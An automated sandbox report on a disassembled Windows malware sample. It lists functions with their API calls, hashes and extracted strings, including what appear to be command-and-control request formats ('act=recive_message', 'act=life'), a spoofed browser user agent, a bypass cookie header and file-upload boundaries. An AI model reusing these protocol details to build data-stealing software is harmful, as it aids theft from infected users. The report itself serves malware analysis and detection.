Opcode Fuzzy Hash: 2b3a73a798bb444a05ee5a4e375a3e416030d5fce08475abef34f598a1aac731
Instruction Fuzzy Hash: 2812AAB49087419FC704EF29D19991EBBE0BF88708F118D2EF89997391E778D9448B4B

Uniqueness

Uniqueness Score: -1.00%

Function 00B7C9F2 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00B7CA36

Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C309
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C31B
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C32D
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C33F
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C351
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C363
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C375
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C387
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C399
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C3AB
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C3BD
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C3CF
Part of subcall function 00B7C2EC: _free.LIBCMT ref: 00B7C3E1

_free.LIBCMT ref: 00B7CA2B

Part of subcall function 00B79559: HeapFree.KERNEL32(00000000,00000000,?,00B72427), ref: 00B7956F
Part of subcall function 00B79559: GetLastError.KERNEL32(?,?,00B72427), ref: 00B79581

_free.LIBCMT ref: 00B7CA4D
_free.LIBCMT ref: 00B7CA62
_free.LIBCMT ref: 00B7CA6D
_free.LIBCMT ref: 00B7CA8F
_free.LIBCMT ref: 00B7CAA2
_free.LIBCMT ref: 00B7CAB0
_free.LIBCMT ref: 00B7CABB
_free.LIBCMT ref: 00B7CAF3
_free.LIBCMT ref: 00B7CAFA
_free.LIBCMT ref: 00B7CB17
_free.LIBCMT ref: 00B7CB2F

Strings

hAG, xrefs: 00B7CADE
(BG, xrefs: 00B7CA08

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: (BG$hAG
API String ID: 161543041-2704510781
Opcode ID: a09e30db9b0df9c2bbc8e2814061423e69c6f28ed2dbb15c8d6cce287db38d76
Instruction ID: 095f78fb9b82e1f56b3e45ad8a6226a2880e61781d37e1f10c17533874b2872c
Opcode Fuzzy Hash: a09e30db9b0df9c2bbc8e2814061423e69c6f28ed2dbb15c8d6cce287db38d76
Instruction Fuzzy Hash: C2314A316003089FEB22AA78E856B5A7BE9EF10351F54C4ADF06DD61A2DB34ED80CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B6AA67 Relevance: 24.8, APIs: 5, Strings: 9, Instructions: 273COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00B6AA96
__cftoe.LIBCMT ref: 00B6AAC2
wsprintfW.USER32 ref: 00B6AC5F

Part of subcall function 00B7393C: _free.LIBCMT ref: 00B7394F

_strlen.LIBCMT ref: 00B6ACAA
_strlen.LIBCMT ref: 00B6ACBB

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00B6ABBD
POST, xrefs: 00B6AB77
act=recive_message&lid=%s&j=%s&ver=4.0, xrefs: 00B6ABEF
/api, xrefs: 00B6AB7D
MyRnHu--Install18, xrefs: 00B6ABF5
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 00B6AAFF
default, xrefs: 00B6ABFB
P, xrefs: 00B6AB4F
Cookie: __cf_mw_byp=%hs, xrefs: 00B6AC4E

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _strlen$__cftoe_freewsprintf
String ID: /api$Content-Type: application/x-www-form-urlencoded$Cookie: __cf_mw_byp=%hs$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$MyRnHu--Install18$P$POST$act=recive_message&lid=%s&j=%s&ver=4.0$default
API String ID: 4192341421-1710526467
Opcode ID: a9102daa8315a42daea13c5fffbf952add01758f4013a2024c20bda2bca21bd4
Instruction ID: 773f76128a91d3e72541a01165ac3e8e7fbda8bea7498a15253ef2dd8314bbd4
Opcode Fuzzy Hash: a9102daa8315a42daea13c5fffbf952add01758f4013a2024c20bda2bca21bd4
Instruction Fuzzy Hash: A4D1CFB0408341DFD714EF68D59871ABBE0FB88308F10896EF49997290E7B99988CF47

Uniqueness

Uniqueness Score: -1.00%

Function 0045C78B Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0045C7CF

Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0A2
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0B4
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0C6
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0D8
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0EA
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C0FC
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C10E
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C120
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C132
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C144
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C156
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C168
Part of subcall function 0045C085: _free.LIBCMT ref: 0045C17A

_free.LIBCMT ref: 0045C7C4

Part of subcall function 004592F2: HeapFree.KERNEL32(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

_free.LIBCMT ref: 0045C7E6
_free.LIBCMT ref: 0045C7FB
_free.LIBCMT ref: 0045C806
_free.LIBCMT ref: 0045C828
_free.LIBCMT ref: 0045C83B
_free.LIBCMT ref: 0045C849
_free.LIBCMT ref: 0045C854
_free.LIBCMT ref: 0045C88C
_free.LIBCMT ref: 0045C893
_free.LIBCMT ref: 0045C8B0
_free.LIBCMT ref: 0045C8C8

Strings

xBG, xrefs: 0045C7A1

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: xBG
API String ID: 161543041-2404653390
Opcode ID: 0e5637e37cb43148b8b1c521ceb2852f26850d40b7d716cc0461e17b07915b36
Instruction ID: 27784b03502e591f4d64a56a554f7df5268d028f896bfa7e17c682f9f99afbd9
Opcode Fuzzy Hash: 0e5637e37cb43148b8b1c521ceb2852f26850d40b7d716cc0461e17b07915b36
Instruction Fuzzy Hash: B3313C31500301EEEB21AE79D886B5773E5AB41357F10886FF859D6653DF78EC88CA28

Uniqueness

Uniqueness Score: -1.00%

Function 00B22F67 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 181stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 00B23334
lstrcatW.KERNEL32 ref: 00B2335E
lstrcatW.KERNEL32 ref: 00B2339C
lstrcatW.KERNEL32 ref: 00B233B6
lstrcatW.KERNEL32 ref: 00B233D1
lstrcatW.KERNEL32 ref: 00B233FB

Strings

e4154e92ac7c3de68b6737, xrefs: 00B231AE, 00B2325C
362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b, xrefs: 00B23222
d1ec3fb8feae4dd7a69f5aca95ae, xrefs: 00B233DA
22fe32036e91556a4cde7662569f, xrefs: 00B231E8
f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041, xrefs: 00B2333D
6cdb83d922bef7ae03a9e8852fb4ecb205bef0, xrefs: 00B232D0
bae785b2ed82e792fe86f1d3, xrefs: 00B23296

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: 22fe32036e91556a4cde7662569f$362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b$6cdb83d922bef7ae03a9e8852fb4ecb205bef0$bae785b2ed82e792fe86f1d3$d1ec3fb8feae4dd7a69f5aca95ae$e4154e92ac7c3de68b6737$f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041
API String ID: 4038537762-1602796456
Opcode ID: 19a9a7bbd0762dbe1634041052f7eb23e3c43023f65793db7f12c8c66dcac806
Instruction ID: f8a73f0ddd0f1f42d4249ff99177d3f235fe926e0907fe52590a764ff71e6a4d
Opcode Fuzzy Hash: 19a9a7bbd0762dbe1634041052f7eb23e3c43023f65793db7f12c8c66dcac806
Instruction Fuzzy Hash: 919166B49087409FC704EF68E18995EBBE0AF89700F11896EF9D987321E778D984DF46

Uniqueness

Uniqueness Score: -1.00%

Function 00402D00 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 181stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 004030CD
lstrcatW.KERNEL32 ref: 004030F7
lstrcatW.KERNEL32 ref: 00403135
lstrcatW.KERNEL32 ref: 0040314F
lstrcatW.KERNEL32 ref: 0040316A
lstrcatW.KERNEL32 ref: 00403194

Strings

362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b, xrefs: 00402FBB
22fe32036e91556a4cde7662569f, xrefs: 00402F81
f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041, xrefs: 004030D6
bae785b2ed82e792fe86f1d3, xrefs: 0040302F
6cdb83d922bef7ae03a9e8852fb4ecb205bef0, xrefs: 00403069
d1ec3fb8feae4dd7a69f5aca95ae, xrefs: 00403173
e4154e92ac7c3de68b6737, xrefs: 00402F47, 00402FF5

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: 22fe32036e91556a4cde7662569f$362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b$6cdb83d922bef7ae03a9e8852fb4ecb205bef0$bae785b2ed82e792fe86f1d3$d1ec3fb8feae4dd7a69f5aca95ae$e4154e92ac7c3de68b6737$f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041
API String ID: 4038537762-1602796456
Opcode ID: b13f1c71c1aa6428e96d31ba80e224f28eee9d68e8d96c19842d7105f939937d
Instruction ID: 80e622a21d0c5143b7e1c297552aad31f4a0d65a682ecc1d4f58f65aaadbc2b0
Opcode Fuzzy Hash: b13f1c71c1aa6428e96d31ba80e224f28eee9d68e8d96c19842d7105f939937d
Instruction Fuzzy Hash: F0916BB49087009FC704EF69D18991AFBF1AF89745F118D2EF9C887361E778E9448B4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042DD40 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 125COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042DD75
_strlen.LIBCMT ref: 0042DD89
_strlen.LIBCMT ref: 0042DDEA
_strlen.LIBCMT ref: 0042DDFE
_strlen.LIBCMT ref: 0042DE7D
_strlen.LIBCMT ref: 0042DE91

Strings

Content-Disposition: form-data; name=", xrefs: 0042DD99
ame=, xrefs: 0042DDC2
"; f, xrefs: 0042DDD2
be85de5ipdocierre1, xrefs: 0042DD4D
file, xrefs: 0042DDAE
ilen, xrefs: 0042DDCA
Content-Type: attachment/x-object, xrefs: 0042DE22

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Content-Disposition: form-data; name="$"; f$Content-Type: attachment/x-object$ame=$be85de5ipdocierre1$file$ilen
API String ID: 4218353326-555925414
Opcode ID: 191a97c223be2d4226a103e9d5271d0f95aba0415cc61b8730dc984fdb6faa5a
Instruction ID: ab09f01091abd19f7cc87e0912c0d6a3740822f0b94067baef99e2b726b0f579
Opcode Fuzzy Hash: 191a97c223be2d4226a103e9d5271d0f95aba0415cc61b8730dc984fdb6faa5a
Instruction Fuzzy Hash: F04178B6500625AFD726DF08EC85E96B7E4FF1531CB094169E8099B30AF334B618CB57

Uniqueness

Uniqueness Score: -1.00%

Function 00B4DFA7 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 125COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00B4DFDC
_strlen.LIBCMT ref: 00B4DFF0
_strlen.LIBCMT ref: 00B4E051
_strlen.LIBCMT ref: 00B4E065
_strlen.LIBCMT ref: 00B4E0E4
_strlen.LIBCMT ref: 00B4E0F8

Strings

"; f, xrefs: 00B4E039
ilen, xrefs: 00B4E031
file, xrefs: 00B4E015
ame=, xrefs: 00B4E029
be85de5ipdocierre1, xrefs: 00B4DFB4

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: "; f$ame=$be85de5ipdocierre1$file$ilen
API String ID: 4218353326-2273171927
Opcode ID: 191a97c223be2d4226a103e9d5271d0f95aba0415cc61b8730dc984fdb6faa5a
Instruction ID: 90386a98de2d3a18bb3d0830f945bebfcaa13e597b1bc3c629c7c740535ed58a
Opcode Fuzzy Hash: 191a97c223be2d4226a103e9d5271d0f95aba0415cc61b8730dc984fdb6faa5a
Instruction Fuzzy Hash: 194177B2910615EFC726DF04D886E9677F4FF15314B0941A4E8098B319E735B718CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0042DEB0 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 313COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0042E081
wsprintfW.USER32 ref: 0042E110
WinHttpAddRequestHeaders.WINHTTP ref: 0042E13A

Strings

Cookie: __cf_mw_byp=%hs, xrefs: 0042E0FC
be85de5ipdocierre1, xrefs: 0042E06D
winhttp.dll, xrefs: 0042DF0A, 0042DF58, 0042DF9E, 0042E004, 0042E08A, 0042E152, 0042E1BC, 0042E20D, 0042E26D, 0042E2A2, 0042E2D2
P, xrefs: 0042DF87
POST, xrefs: 0042DFC1
Content-Type: multipart/form-data; boundary=%s, xrefs: 0042E067
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0042DF26

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: wsprintf$HeadersHttpRequest
String ID: Content-Type: multipart/form-data; boundary=%s$Cookie: __cf_mw_byp=%hs$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$P$POST$be85de5ipdocierre1$winhttp.dll
API String ID: 4062374510-2783096789
Opcode ID: 60ee010b039eb5234468f2ad9c3f746eb471b90304ece73da97b272615e28963
Instruction ID: d86001e0129190114e9ac454759197ad29be2da68e482fd04e7138b543e8984c
Opcode Fuzzy Hash: 60ee010b039eb5234468f2ad9c3f746eb471b90304ece73da97b272615e28963
Instruction Fuzzy Hash: 26D126B0904301DFD704EF69E88565EBBF4EF89300F11892EE499AB340E7759948CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00B4D067 Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 252COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00B4D09D
__cftoe.LIBCMT ref: 00B4D0CA

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00B4D1CE
name="atok" value=", xrefs: 00B4D3DB
P, xrefs: 00B4D157
act=life, xrefs: 00B4D1E7
section, xrefs: 00B4D3B9
POST, xrefs: 00B4D188
/api, xrefs: 00B4D18E
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 00B4D107

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: __cftoe_strlen
String ID: /api$Content-Type: application/x-www-form-urlencoded$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$P$POST$act=life$name="atok" value="$section
API String ID: 3942836979-691063197
Opcode ID: 1cd994501b80b663bcf5f23acfa268597d9bb414877afac28e034d9698f62d05
Instruction ID: 11a5e0f7455371dd23adbd5834713f8e10fc45cd7f37db9938725e03bc6324c2
Opcode Fuzzy Hash: 1cd994501b80b663bcf5f23acfa268597d9bb414877afac28e034d9698f62d05
Instruction Fuzzy Hash: 43C1BEB450C341DFD710DF29D18875ABBE0BB88348F00896DE49997290E7B9DA89EF47

Uniqueness

Uniqueness Score: -1.00%

Function 00402A90 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,?), ref: 00402AB3
lstrcatW.KERNEL32(00000000,00000000), ref: 00402AC6

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

lstrcatW.KERNEL32(00000000,?), ref: 00402AD6
lstrcatW.KERNEL32(00000000,?), ref: 00402AEC
lstrcatW.KERNEL32(00000000,004660F0), ref: 00402AF4
lstrcatW.KERNEL32(00000000,?), ref: 00402AFA
lstrcatW.KERNEL32(00000000,00000000), ref: 00402B0D
lstrcatW.KERNEL32(00000000,?), ref: 00402B1D

Strings

45538e52191fe131243fae173d27eb3c363ae13c6500eb26313ae035360f, xrefs: 00402AB5
aab58e5185f0f625cfdbfd38c5dbfd7e, xrefs: 00402AFC

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID: 45538e52191fe131243fae173d27eb3c363ae13c6500eb26313ae035360f$aab58e5185f0f625cfdbfd38c5dbfd7e
API String ID: 1597172325-820533355
Opcode ID: dcb0635dec59e6bb57e6a281596bea07e91acb0b9fca225bd1795bc9d5c0f2ff
Instruction ID: 5b41cecd2529177c69a7b5d6815aae494594ce098d1ea6add4f64316d786e4ea
Opcode Fuzzy Hash: dcb0635dec59e6bb57e6a281596bea07e91acb0b9fca225bd1795bc9d5c0f2ff
Instruction Fuzzy Hash: D301C4B2A402043BE5116BA29C43F6F392CDF86B9DF054079FA0455183FA6BDA1542BF

Uniqueness

Uniqueness Score: -1.00%

Function 00B4E117 Relevance: 16.1, APIs: 2, Strings: 7, Instructions: 313COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00B4E2E8
wsprintfW.USER32 ref: 00B4E377

Strings

Content-Type: multipart/form-data; boundary=%s, xrefs: 00B4E2CE
P, xrefs: 00B4E1EE
POST, xrefs: 00B4E228
winhttp.dll, xrefs: 00B4E171, 00B4E1BF, 00B4E205, 00B4E26B, 00B4E2F1, 00B4E3B9, 00B4E423, 00B4E474, 00B4E4D4, 00B4E509, 00B4E539
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 00B4E18D
Cookie: __cf_mw_byp=%hs, xrefs: 00B4E363
be85de5ipdocierre1, xrefs: 00B4E2D4

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: Content-Type: multipart/form-data; boundary=%s$Cookie: __cf_mw_byp=%hs$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$P$POST$be85de5ipdocierre1$winhttp.dll
API String ID: 2111968516-2783096789
Opcode ID: 2da5e6db83863b2df808a58c183a32d85cd3f1b073da5ffda5a07b20265ab8c9
Instruction ID: c869377573be8f0f70609f823c6768a503cc2dc2bf2a55db0ee959959a3f7430
Opcode Fuzzy Hash: 2da5e6db83863b2df808a58c183a32d85cd3f1b073da5ffda5a07b20265ab8c9
Instruction Fuzzy Hash: 07D1D4B08083059FCB04EF68E98565EBBF0FF89300F11896DE499AB354E7759948DF92

Uniqueness

Uniqueness Score: -1.00%

Function 00B78927 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B7893D

Part of subcall function 00B79559: HeapFree.KERNEL32(00000000,00000000,?,00B72427), ref: 00B7956F
Part of subcall function 00B79559: GetLastError.KERNEL32(?,?,00B72427), ref: 00B79581

_free.LIBCMT ref: 00B78949
_free.LIBCMT ref: 00B78954
_free.LIBCMT ref: 00B7895F
_free.LIBCMT ref: 00B7896A
_free.LIBCMT ref: 00B78975
_free.LIBCMT ref: 00B78980
_free.LIBCMT ref: 00B7898B
_free.LIBCMT ref: 00B78996
_free.LIBCMT ref: 00B789A4

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d44bf440e3b279ab3553148301fb6ff5bf653065371e5ff5bfd18e10dd2eb910
Instruction ID: f297677814ba433a3bb506e442e8cf1a7a26dfc410496849ac42182c4e8db410
Opcode Fuzzy Hash: d44bf440e3b279ab3553148301fb6ff5bf653065371e5ff5bfd18e10dd2eb910
Instruction Fuzzy Hash: B2219B76900218EFCB42EF99D891DDD7BF5AF18340B4181A6B52DAB122DB35DA44CB80

Uniqueness

Uniqueness Score: -1.00%

Function 004586C0 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004586D6

Part of subcall function 004592F2: HeapFree.KERNEL32(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

_free.LIBCMT ref: 004586E2
_free.LIBCMT ref: 004586ED
_free.LIBCMT ref: 004586F8
_free.LIBCMT ref: 00458703
_free.LIBCMT ref: 0045870E
_free.LIBCMT ref: 00458719
_free.LIBCMT ref: 00458724
_free.LIBCMT ref: 0045872F
_free.LIBCMT ref: 0045873D

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6cc4a3d001802aef2f69b43831ccd493e3c57a027445065c68316d3d6bf5f441
Instruction ID: 909fccd1b02e17c2c9d50e8bec9e7a58bf48f12ccd491c6af6c05a6d82e5c4b8
Opcode Fuzzy Hash: 6cc4a3d001802aef2f69b43831ccd493e3c57a027445065c68316d3d6bf5f441
Instruction Fuzzy Hash: 89216276900118FFCB41EF99C882DDE7BB9BF09345F0045AAF9159B126DA35EA48CF84

Uniqueness

Uniqueness Score: -1.00%

Function 00B7BB26 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0046ED28,00000010,?), ref: 00B7BB6E
__fassign.LIBCMT ref: 00B7BD53
__fassign.LIBCMT ref: 00B7BD70
WriteFile.KERNEL32(?,00B735B4,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B7BDB8
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00B7BDF8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B7BEA0

Strings

(F, xrefs: 00B7BB63
(F, xrefs: 00B7BD23, 00B7BD26

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID: (F$(F
API String ID: 1735259414-2407725581
Opcode ID: 80f8de8582e165aeee52a1eef20fad0f8b92c18eb76aa09adf2134734e3aeef4
Instruction ID: a029ddb3d049a71df355b6a36b16672cd95010d8204a5f8fe628e29f5a9de798
Opcode Fuzzy Hash: 80f8de8582e165aeee52a1eef20fad0f8b92c18eb76aa09adf2134734e3aeef4
Instruction Fuzzy Hash: DEC16C75D042589FCB15CFA8D880AEDBBF5EF48314F2881AAE969B7341D7319942CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0045B8BF Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0046ED28,00000010,?), ref: 0045B907
__fassign.LIBCMT ref: 0045BAEC
__fassign.LIBCMT ref: 0045BB09
WriteFile.KERNEL32(?,0045334D,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0045BB51
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0045BB91
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0045BC39

Strings

(F, xrefs: 0045B8FC
(F, xrefs: 0045BABC, 0045BABF

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID: (F$(F
API String ID: 1735259414-2407725581
Opcode ID: 4a9ad8ef4584508f65e1b7e04996ff5e9ac86e92722cad1981b49794f6d7772c
Instruction ID: 13c84f020c80aeb021e5e4932947299304f7551d592937e11f796906766d9408
Opcode Fuzzy Hash: 4a9ad8ef4584508f65e1b7e04996ff5e9ac86e92722cad1981b49794f6d7772c
Instruction Fuzzy Hash: 18C19F71D002589FCB15CFA9C8809EDBBB5EF48305F28416AE855FB342D735AE46CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00B2A467 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 172stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 00B2A534
lstrcatW.KERNEL32 ref: 00B2A54C
lstrlenW.KERNEL32 ref: 00B2A55C
lstrlenW.KERNEL32 ref: 00B2A590

Strings

kernel32.dll, xrefs: 00B2A489
ntdll.dll, xrefs: 00B2A652, 00B2A6CA
, xrefs: 00B2A6A9
\??\, xrefs: 00B2A527

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen
String ID: $\??\$kernel32.dll$ntdll.dll
API String ID: 1475610065-3837677799
Opcode ID: 21553468eb1adf6b14f3215f71d57355ab8bf495995079b7341c515c0cf48ce8
Instruction ID: 1c332bbabf07c30fae88b7a562acd197294cedbb90ccb0212f9ec366b1dd269a
Opcode Fuzzy Hash: 21553468eb1adf6b14f3215f71d57355ab8bf495995079b7341c515c0cf48ce8
Instruction Fuzzy Hash: 5B7124B05193009FC308EF78C49575ABBE1AF84728F018A6DF5A98B390E7B9C944CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040A200 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 172stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 0040A2CD
lstrcatW.KERNEL32 ref: 0040A2E5
lstrlenW.KERNEL32 ref: 0040A2F5
lstrlenW.KERNEL32 ref: 0040A329

Strings

, xrefs: 0040A442
kernel32.dll, xrefs: 0040A222
ntdll.dll, xrefs: 0040A3EB, 0040A463
\??\, xrefs: 0040A2C0

